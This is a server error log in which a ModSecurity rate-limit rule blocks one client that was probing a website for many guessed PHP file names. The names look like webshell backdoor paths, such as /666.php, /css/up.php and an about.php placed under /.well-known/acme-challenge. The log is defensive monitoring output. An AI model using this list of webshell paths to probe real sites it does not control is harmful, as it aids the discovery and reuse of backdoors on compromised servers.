[Thu Dec 18 21:39:33.266715 2025] [:error] [pid 24542:tid 24552] [client 4.196.84.157:17844] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aUQEFUtQz4H2oS3NrDYmmAAAAUg"]
[Thu Dec 18 21:39:33.815060 2025] [:error] [pid 23558:tid 23626] [client 4.196.84.157:17570] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aUQEFeHam9NbgPQa9uYsWAAAAMs"]
[Thu Dec 18 21:39:33.936827 2025] [:error] [pid 23558:tid 23615] [client 4.196.84.157:21502] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file4.php"] [unique_id "aUQEFeHam9NbgPQa9uYsWwAAAMA"]
[Thu Dec 18 21:39:34.118624 2025] [:error] [pid 25357:tid 25360] [client 4.196.84.157:21805] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sto.php"] [unique_id "aUQEFoaT7bsEXnJVfJdxGQAAAcE"]
[Thu Dec 18 21:39:34.348360 2025] [:error] [pid 12239:tid 12258] [client 4.196.84.157:27087] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sto.php"] [unique_id "aUQEFtNnXxfGIuWO6akgVAAAAo4"]
[Thu Dec 18 21:39:34.510471 2025] [:error] [pid 12035:tid 12044] [client 4.196.84.157:25268] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sto.php"] [unique_id "aUQEFrcVHrNSHjCo-0qdhwAAAgI"]
[Thu Dec 18 21:39:34.743984 2025] [:error] [pid 23645:tid 23649] [client 4.196.84.157:17649] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sto.php"] [unique_id "aUQEFjf_Rx0Y0ao_QJhj0QAAAII"]
[Thu Dec 18 21:39:34.812012 2025] [:error] [pid 23558:tid 23635] [client 4.196.84.157:31842] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aUQEFuHam9NbgPQa9uYsZgAAANQ"]
[Thu Dec 18 21:39:34.914590 2025] [:error] [pid 23558:tid 23620] [client 4.196.84.157:17565] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aUQEFuHam9NbgPQa9uYsagAAAMU"]
[Thu Dec 18 21:39:35.308614 2025] [:error] [pid 23558:tid 23638] [client 4.196.84.157:1328] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aUQEF-Ham9NbgPQa9uYscAAAANc"]
[Thu Dec 18 21:39:35.436277 2025] [:error] [pid 12035:tid 12063] [client 4.196.84.157:21387] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ffile.php"] [unique_id "aUQEF7cVHrNSHjCo-0qdiQAAAhQ"]
[Thu Dec 18 21:39:35.689271 2025] [:error] [pid 12239:tid 12255] [client 4.196.84.157:21407] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUQEF9NnXxfGIuWO6akgXwAAAos"]
[Thu Dec 18 21:39:36.200744 2025] [:error] [pid 24542:tid 24568] [client 4.196.84.157:21785] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUQEGEtQz4H2oS3NrDYmpwAAAVg"]
[Thu Dec 18 21:39:36.611080 2025] [:error] [pid 24542:tid 24544] [client 4.196.84.157:27394] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUQEGEtQz4H2oS3NrDYmqAAAAUA"]
[Thu Dec 18 21:39:36.837313 2025] [:error] [pid 23558:tid 23629] [client 4.196.84.157:25229] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUQEGOHam9NbgPQa9uYsfQAAAM4"]
[Thu Dec 18 21:39:37.090512 2025] [:error] [pid 23558:tid 23631] [client 4.196.84.157:27095] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "aUQEGeHam9NbgPQa9uYsfwAAANA"]
[Thu Dec 18 21:39:37.544831 2025] [:error] [pid 23558:tid 23618] [client 4.196.84.157:21796] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "aUQEGeHam9NbgPQa9uYsgAAAAMM"]
[Thu Dec 18 21:39:38.379665 2025] [:error] [pid 12383:tid 12386] [client 4.196.84.157:14668] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "aUQEGvdgllo9h1cyxGbMAwAAAsA"]
[Thu Dec 18 21:39:39.165665 2025] [:error] [pid 23645:tid 23659] [client 4.196.84.157:24780] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp1.php"] [unique_id "aUQEGzf_Rx0Y0ao_QJhj5wAAAIw"]
[Thu Dec 18 21:39:39.425795 2025] [:error] [pid 23645:tid 23657] [client 4.196.84.157:21816] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/up.php"] [unique_id "aUQEGzf_Rx0Y0ao_QJhj6QAAAIo"]
[Thu Dec 18 21:39:40.190450 2025] [:error] [pid 12383:tid 12407] [client 4.196.84.157:27074] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/up.php"] [unique_id "aUQEHPdgllo9h1cyxGbMDwAAAtU"]
[Thu Dec 18 21:39:40.838603 2025] [:error] [pid 12383:tid 12406] [client 4.196.84.157:21470] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/up.php"] [unique_id "aUQEHPdgllo9h1cyxGbMEwAAAtQ"]
[Thu Dec 18 21:39:41.462657 2025] [:error] [pid 12239:tid 12262] [client 4.196.84.157:27437] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/up.php"] [unique_id "aUQEHdNnXxfGIuWO6akgdgAAApI"]
[Thu Dec 18 21:39:41.514538 2025] [:error] [pid 12383:tid 12401] [client 4.196.84.157:17574] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aUQEHfdgllo9h1cyxGbMGwAAAs8"]
[Thu Dec 18 21:39:41.909420 2025] [:error] [pid 24433:tid 24451] [client 4.196.84.157:1339] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aUQEHZ4pN9ycmipm8TjgAwAAAQ8"]
[Thu Dec 18 21:39:42.354346 2025] [:error] [pid 24958:tid 24969] [client 4.196.84.157:17608] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aUQEHskDOrUkd0wNm2HTDgAAAYg"]
[Thu Dec 18 21:39:42.583335 2025] [:error] [pid 12239:tid 12250] [client 4.196.84.157:17559] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aa.php"] [unique_id "aUQEHtNnXxfGIuWO6akgeQAAAoY"]
[Thu Dec 18 21:39:42.912139 2025] [:error] [pid 23558:tid 23617] [client 4.196.84.157:23384] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aUQEHuHam9NbgPQa9uYsjQAAAMI"]
[Thu Dec 18 21:39:43.396469 2025] [:error] [pid 23558:tid 23622] [client 4.196.84.157:21802] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aUQEH-Ham9NbgPQa9uYsjwAAAMc"]
[Thu Dec 18 21:39:43.690632 2025] [:error] [pid 23645:tid 23650] [client 4.196.84.157:18256] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aUQEHzf_Rx0Y0ao_QJhj-gAAAIM"]
[Thu Dec 18 21:39:44.219533 2025] [:error] [pid 25357:tid 25382] [client 4.196.84.157:23417] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aUQEIIaT7bsEXnJVfJdxOQAAAdc"]
[Thu Dec 18 21:39:44.631779 2025] [:error] [pid 24542:tid 24550] [client 4.196.84.157:21499] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wb.php"] [unique_id "aUQEIEtQz4H2oS3NrDYmuwAAAUY"]
[Thu Dec 18 21:39:45.297036 2025] [:error] [pid 23556:tid 23570] [client 4.196.84.157:21465] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wb.php"] [unique_id "aUQEIRnmLlk3u5yt9kHu6wAAAAo"]
[Thu Dec 18 21:39:45.581466 2025] [:error] [pid 23558:tid 23638] [client 4.196.84.157:21821] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wb.php"] [unique_id "aUQEIeHam9NbgPQa9uYslgAAANc"]
[Thu Dec 18 21:39:46.448306 2025] [:error] [pid 23645:tid 23671] [client 4.196.84.157:23399] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wb.php"] [unique_id "aUQEIjf_Rx0Y0ao_QJhkJgAAAJg"]
[Thu Dec 18 21:39:46.804488 2025] [:error] [pid 24542:tid 24549] [client 4.196.84.157:16081] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUQEIktQz4H2oS3NrDYmxgAAAUU"]
[Thu Dec 18 21:39:47.223887 2025] [:error] [pid 12035:tid 12059] [client 4.196.84.157:13337] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUQEI7cVHrNSHjCo-0qdoAAAAhA"]
[Thu Dec 18 21:39:47.595896 2025] [:error] [pid 23645:tid 23662] [client 4.196.84.157:1042] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUQEIzf_Rx0Y0ao_QJhkQgAAAI8"]
[Thu Dec 18 21:39:47.837949 2025] [:error] [pid 24542:tid 24545] [client 4.196.84.157:13346] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUQEI0tQz4H2oS3NrDYmygAAAUE"]
[Thu Dec 18 21:39:48.015148 2025] [:error] [pid 24542:tid 24566] [client 4.196.84.157:27104] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aUQEJEtQz4H2oS3NrDYmywAAAVY"]
[Thu Dec 18 21:39:48.313970 2025] [:error] [pid 23645:tid 23663] [client 4.196.84.157:17548] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aUQEJDf_Rx0Y0ao_QJhkTQAAAJA"]
[Thu Dec 18 21:40:51.991444 2025] [:error] [pid 24542:tid 24567] [client 4.196.84.157:18798] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mws.php"] [unique_id "aUQEY0tQz4H2oS3NrDYnKwAAAVc"]
[Thu Dec 18 21:40:52.104412 2025] [:error] [pid 25357:tid 25369] [client 4.196.84.157:22320] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mws.php"] [unique_id "aUQEZIaT7bsEXnJVfJdyCQAAAco"]
[Thu Dec 18 21:40:52.247241 2025] [:error] [pid 24433:tid 24460] [client 4.196.84.157:23019] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mws.php"] [unique_id "aUQEZJ4pN9ycmipm8TjgxgAAARg"]
[Thu Dec 18 21:40:52.307709 2025] [:error] [pid 24542:tid 24551] [client 4.196.84.157:24150] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mws.php"] [unique_id "aUQEZEtQz4H2oS3NrDYnLAAAAUc"]
[Thu Dec 18 21:40:52.406992 2025] [:error] [pid 24958:tid 24980] [client 4.196.84.157:14698] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUQEZMkDOrUkd0wNm2HTZAAAAZM"]
[Thu Dec 18 21:40:52.600126 2025] [:error] [pid 23556:tid 23562] [client 4.196.84.157:24148] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUQEZBnmLlk3u5yt9kHvbAAAAAI"]
[Thu Dec 18 21:40:52.804630 2025] [:error] [pid 12239:tid 12244] [client 4.196.84.157:22994] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUQEZNNnXxfGIuWO6akg8wAAAoA"]
[Thu Dec 18 21:40:52.986341 2025] [:error] [pid 24958:tid 24984] [client 4.196.84.157:14992] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dlu.php"] [unique_id "aUQEZMkDOrUkd0wNm2HTZQAAAZc"]
[Thu Dec 18 21:40:53.216573 2025] [:error] [pid 12239:tid 12259] [client 4.196.84.157:29590] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aUQEZdNnXxfGIuWO6akg9QAAAo8"]
[Thu Dec 18 21:40:53.308621 2025] [:error] [pid 25357:tid 25380] [client 4.196.84.157:23029] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aUQEZYaT7bsEXnJVfJdyCwAAAdU"]
[Thu Dec 18 21:40:53.401459 2025] [:error] [pid 23645:tid 23653] [client 4.196.84.157:22329] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aUQEZTf_Rx0Y0ao_QJhkuAAAAIY"]
[Thu Dec 18 21:40:53.576333 2025] [:error] [pid 23556:tid 23564] [client 4.196.84.157:14511] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aUQEZRnmLlk3u5yt9kHvdAAAAAQ"]
[Thu Dec 18 21:40:53.960177 2025] [:error] [pid 12239:tid 12261] [client 4.196.84.157:14661] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aUQEZdNnXxfGIuWO6akg-AAAApE"]
[Thu Dec 18 21:40:54.324648 2025] [:error] [pid 12239:tid 12268] [client 4.196.84.157:24179] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aUQEZtNnXxfGIuWO6akg-QAAApg"]
[Thu Dec 18 21:40:54.545905 2025] [:error] [pid 23558:tid 23636] [client 4.196.84.157:14475] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class19.php"] [unique_id "aUQEZuHam9NbgPQa9uYtBgAAANU"]
